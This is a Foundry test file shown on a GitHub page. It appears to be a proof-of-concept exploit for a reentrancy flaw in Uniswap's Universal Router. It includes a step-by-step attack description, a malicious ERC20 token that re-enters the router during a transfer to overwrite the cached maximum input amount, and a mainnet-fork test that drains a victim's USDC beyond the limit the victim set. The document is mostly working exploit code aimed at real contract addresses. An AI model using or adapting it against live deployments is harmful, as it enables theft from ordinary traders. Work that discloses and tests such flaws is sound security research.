-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathHack.t.sol
215 lines (167 loc) · 9.07 KB
/
Hack.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
// SPDX-License-Identifier: UNLICENSED
pragma solidity >0.7.0 <0.9.0;
import "forge-std/Test.sol";
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Factory.sol";
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import "universal-router/UniversalRouter.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "./TickMath.sol";
import "./Interfaces.sol";
/*
1. Attacker controls token X, and creates a uniswap v3 pool for (USDC, X).
2. Bob wants to buy a few Xs in case it moons.
3. Bob uses the universal router to buy X, using `V3_SWAP_EXACT_OUT`.
4. Attacker frontruns Bob, manipulating X's reserves so that its price increases (could be done just buying it or manipulating the pool's balance if the attacker has the ability to do that).
5. The router will cache `amountInMaximum` inside the `_swap` function and then call `swap` from the uniswap pool.
6. The uniswap pool will call transfer on token X, which will do an arbitrary `V3_SWAP_EXACT_OUT` in order to overwritte `maxAmountInCached` (it will get set to `type(uint256).max` at the end of the reentrant swap).
7. The execution of the original swap will continue, and the `uniswapV3SwapCallback` will be called, but with a higher `amountToPay` than expected (to cover for X's price increase).
8. The check for `(amountToPay > maxAmountInCached)` will not revert, and more money will be taken from Bob than what he specified originally. This could lead to Bob's USDC balance being completely drained.
Note: Token X doesn't need to be fully controlled by the attacker or be a malicious token, there only needs to be a way for the attacker to receive a callback when a transfer is being performed and for the attacker to be able to significantly manipulate X's spot price.*/
UniversalRouter constant UNIVERSAL_ROUTER = UniversalRouter(payable(0x0000000052BE00bA3a005edbE83a0fB9aaDB964C));
IUniswapV3Factory constant UNISWAP_V3_FACTORY = IUniswapV3Factory(0x1F98431c8aD98523631AE4a59f267346ea31F984);
INonfungiblePositionManager constant nonfungiblePositionManager =
INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
IPermit2 constant permit2 = IPermit2(0x000000000022D473030F116dDEE9F6B43aC78BA3);
IERC20 constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
uint256 constant FORK_BLOCK_NUMBER = 15991275;
contract LP is IERC721Receiver {
int24 private constant TICK_SPACING = 10;
function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
function mintNewPosition(
IERC20 token0,
IERC20 token1,
uint256 amount0ToAdd,
uint256 amount1ToAdd,
int24 minTick,
int24 maxTick
) external returns (uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1) {
token0.transferFrom(msg.sender, address(this), amount0ToAdd);
token1.transferFrom(msg.sender, address(this), amount1ToAdd);
token0.approve(address(nonfungiblePositionManager), amount0ToAdd);
token1.approve(address(nonfungiblePositionManager), amount1ToAdd);
INonfungiblePositionManager.MintParams memory params = INonfungiblePositionManager.MintParams({
token0: address(token0),
token1: address(token1),
fee: 500,
tickLower: (minTick / TICK_SPACING) * TICK_SPACING,
tickUpper: (maxTick / TICK_SPACING) * TICK_SPACING,
amount0Desired: amount0ToAdd,
amount1Desired: amount1ToAdd,
amount0Min: 0,
amount1Min: 0,
recipient: address(this),
deadline: block.timestamp
});
(tokenId, liquidity, amount0, amount1) = nonfungiblePositionManager.mint(params);
}
function removePosition(uint256 tokenId, uint128 liquidity) external {
INonfungiblePositionManager.DecreaseLiquidityParams memory params = INonfungiblePositionManager
.DecreaseLiquidityParams({
tokenId: tokenId,
liquidity: liquidity,
amount0Min: 0,
amount1Min: 0,
deadline: block.timestamp
});
nonfungiblePositionManager.decreaseLiquidity(params);
}
}
contract BadToken is ERC20("BAD", "BAD") {
bool public reenter;
function setReenter(bool _reenter) external {
reenter = _reenter;
}
function _beforeTokenTransfer(address, address, uint256) internal override {
if (reenter) {
reenter = false;
WETH.approve(address(permit2), type(uint256).max);
permit2.approve(address(WETH), address(UNIVERSAL_ROUTER), type(uint160).max, type(uint48).max);
bytes memory commands = abi.encodePacked(bytes1(uint8(Commands.V3_SWAP_EXACT_OUT)));
bytes[] memory inputs = new bytes[](1);
inputs[0] = abi.encode(
Constants.MSG_SENDER, // recipient
1, // amount out
type(uint256).max, // amount in max
abi.encodePacked(address(USDC), uint24(500), address(WETH)), // path
true
);
UNIVERSAL_ROUTER.execute(commands, inputs);
}
}
}
contract HackTest is Test {
BadToken badtoken;
address attacker = address(1);
address victim = address(2);
LP lp;
function setUp() public {
vm.createSelectFork(vm.rpcUrl("mainnet"), FORK_BLOCK_NUMBER);
lp = new LP();
}
function testHack() public {
badtoken = new BadToken();
// Create BAD / USDC pool
console.log("Creating BAD / USDC pool\n");
IUniswapV3Pool pool = IUniswapV3Pool(UNISWAP_V3_FACTORY.createPool(address(badtoken), address(USDC), 500));
// 1 bad token ~ 1000 USDC
uint160 sqrtPricex96A = 2505414483750479311864138; // sqrt(1000 * 1e6 / 1e18) * 2 ** 96
console.log("Initial price is 1000 USDC per BAD token\n");
pool.initialize(sqrtPricex96A);
deal(address(USDC), attacker, 1000000 * 1e6);
deal(address(badtoken), attacker, 1000000 * 1e18, true);
deal(address(USDC), victim, 1000000 * 1e6);
deal(address(WETH), address(badtoken), 1e18);
startHoax(attacker);
USDC.approve(address(lp), type(uint256).max);
badtoken.approve(address(lp), type(uint256).max);
int24 tickA = TickMath.getTickAtSqrtRatio(sqrtPricex96A);
(, , uint256 amount0, uint256 amount1) =
lp.mintNewPosition(badtoken, USDC, 1e18, 1000e6, tickA - 100, tickA + 100);
// Provide liquidity at a higher usd price
uint160 sqrtPricex96B = 79228162514264337593543950; // sqrt(1000000 * 1e6 / 1e18) * 2 ** 96
int24 tickB = TickMath.getTickAtSqrtRatio(sqrtPricex96B);
uint256 tokenIdB;
(tokenIdB,, amount0, amount1) = lp.mintNewPosition(badtoken, USDC, 10e18, 1000e6, tickB - 100, tickB + 100);
USDC.approve(address(permit2), type(uint256).max);
permit2.approve(address(USDC), address(UNIVERSAL_ROUTER), type(uint160).max, type(uint48).max);
// Victim wants to do regular swap, tries to get 0.01 BAD for at most 11 USDC
console.log("Victim wants to swap 0.01 BAD for at most 11 USDC");
// Attacker frontruns and increases the price of BAD
console.log("Attacker frontruns and increases the price of BAD\n");
(uint256 sqrtPriceX96,,,,,,) = pool.slot0();
uint256 price = (uint256(sqrtPriceX96) ** 2 * 1e18) >> (96 * 2);
console.log("Price before swap (in USDC)", price / 1e6);
console.log("ATTACKER SWAPS...");
swapExactOut(address(USDC), address(badtoken), 1e18, type(uint256).max);
(sqrtPriceX96,,,,,,) = pool.slot0();
price = (uint256(sqrtPriceX96) ** 2 * 1e18) >> (96 * 2);
console.log("Price after swap (in USDC)", price / 1e6);
console.log("\n");
badtoken.setReenter(true);
vm.stopPrank();
startHoax(victim);
USDC.approve(address(permit2), type(uint256).max);
permit2.approve(address(USDC), address(UNIVERSAL_ROUTER), type(uint160).max, type(uint48).max);
console.log("Victim's USDC balance before swap", USDC.balanceOf(victim) / 1e6);
// Victim does a regular swap, tries to get 0.01 BAD for at most 11 USDC
console.log("VICTIM SWAPS...");
swapExactOut(address(USDC), address(badtoken), 1e18, 1100e6);
console.log("Victim's USDC balance after swap", USDC.balanceOf(victim) / 1e6);
}
function swapExactOut(address src, address dst, uint256 amountOut, uint256 amountInMax) internal {
bytes memory commands = abi.encodePacked(bytes1(uint8(Commands.V3_SWAP_EXACT_OUT)));
bytes[] memory inputs = new bytes[](1);
inputs[0] = abi.encode(
Constants.MSG_SENDER, // recipient
amountOut, // amount out
amountInMax, // amount in max
abi.encodePacked(address(dst), uint24(500), address(src)), // path
true
);
UNIVERSAL_ROUTER.execute(commands, inputs);
}
}